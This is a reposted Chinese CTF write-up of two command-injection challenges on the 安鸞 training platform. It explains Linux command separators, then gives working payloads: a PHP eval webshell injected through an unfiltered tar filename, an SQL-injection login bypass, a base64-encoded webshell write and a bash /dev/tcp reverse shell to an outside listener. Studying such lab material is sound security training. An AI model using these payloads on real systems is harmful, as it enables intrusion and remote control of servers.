命令執行 安鸞 Writeup



目錄


  • 僅代碼層面來說,任意命令執行漏洞的利用條件:
    1.代碼中存在調用系統命令的函數
    2.函數中存在我們可控的點
    3.可控點沒有過濾,或過濾不嚴格。

  • Linux命令連接符
    ;分號
    各個命令依次執行,輸出結果,互不影響。
    |管道符
    前一個命令的輸出(左邊),作為后一個命令的輸入(右邊),可以連續使用。
    &后台運行符
    將此命令后台運行,shell可立即執行其他命令。
    &&邏輯與
    只有前一個命令執行成功,才會執行后面的命令。
    ||邏輯或
    前面的命令執行失敗才會去執行后面的命令,直到執行成功。

第一題命令執行01

題目URL:http://whalwl.xyz:8033/

其中export.php源碼如下:

<?php
    if (isset($_POST['name'])){
        $name = $_POST['name'];
        exec("tar -zcvf backup/$name images/*.jpg");
        echo "<div class=\"alert alert-success\" role=\"alert\">
                導出成功,<a href='backup/$name'>點擊下載</a></div>";
    }
?>
  • 執行命令:
    tar -zcvf backup/$name images/*.jpg 其中 $name可控

  • 構造Payload,在網站目錄寫一句話木馬。:
    backup.tar.gz;echo '<?php @eval($_POST["x"]); ?>' >shell.php

第二題命令執行02

登錄界面存在萬能密碼
賬戶:1' or 1#
密碼隨意

老方法寫一句話webshell:
127.0.0.1|echo PD9waHAgQGV2YWwoJF9QT1NUW29rXSk7Pz4= |base64 -d > shell.php
卻發現寫入失敗,可能是沒權限,那我們直接反彈shell
image

反彈shell:

在自己的外網機器上監聽: nc -lvp 9999

ip:127.0.0.1&bash -i >& /dev/tcp/167.160.xxx.217/9999 0>&1

image

點擊檢測網絡情況 就會執行反彈命令

最后讀取根目錄flag:

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM